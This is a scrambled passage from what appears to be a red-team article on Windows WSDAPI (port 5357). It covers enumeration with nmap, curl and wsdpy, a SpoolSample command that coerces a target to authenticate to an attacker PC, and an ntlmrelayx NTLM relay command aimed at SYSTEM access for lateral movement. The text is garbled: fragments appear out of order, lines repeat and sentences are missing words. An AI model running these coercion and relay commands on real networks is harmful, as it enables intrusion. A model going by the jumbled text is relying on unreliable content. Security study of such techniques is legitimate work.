Example output:
SpoolSample.exe TARGET-50 AttackerPC This forces TARGET-50 (WSD-enabled printer server) to authenticate to your machine on SMB.
If you run a nmap -p5357 192.168.1.0/24 and see open , you might have stumbled upon a Windows service that is poorly understood but potentially dangerous: . port 5357 hacktricks
5357/tcp open http Microsoft HTTPAPI httpd 2.0 |_http-title: Service Unavailable |_http-server-header: Microsoft-HTTPAPI/2.0 curl -v http://10.10.10.5:5357/ This usually returns 503 Service Unavailable , but the header reveals it’s Microsoft-HTTPAPI/2.0 – a strong indicator of WSDAPI. 3. Enumerate WSD Endpoints with wsdpy (Python) git clone https://github.com/ianling/wsdpy cd wsdpy python3 wsdump.py 10.10.10.5 This sends a Probe message and lists all advertised devices, their types, scopes, and metadata addresses.
Remember: in red teaming, every open port is a story waiting to be exploited. This article is part of the HackTricks-style knowledge base. Always perform attacks only on systems you own or have explicit permission to test. Example output: SpoolSample
This article acts as a to port 5357: what it is, how to enumerate it, misconfigurations, vulnerabilities, and how to abuse it for lateral movement. What is Port 5357? Port 5357 is officially allocated to WSDAPI – Web Services for Devices on Windows. It is part of Microsoft’s implementation of the Devices Profile for Web Services (DPWS) . Think of it as a "Plug and Play for the network" – devices (printers, scanners, media servers, IoT hubs) announce themselves and their capabilities via SOAP/HTTP.
ntlmrelayx.py -t http://192.168.1.50:5357/wsd/endpoint -wh 192.168.1.100 -smb2support If successful, you might get device control or even SYSTEM. This article is part of the HackTricks-style knowledge base
Device: http://10.10.10.5:5357/wsd/3f8c2a1b-... Type: Printer Friendly Name: HP LaserJet M402dw Metadata URL: http://10.10.10.5:5357/wsd/3f8c2a1b/metadata The metadata URL is XML that contains actions (operations) the device supports.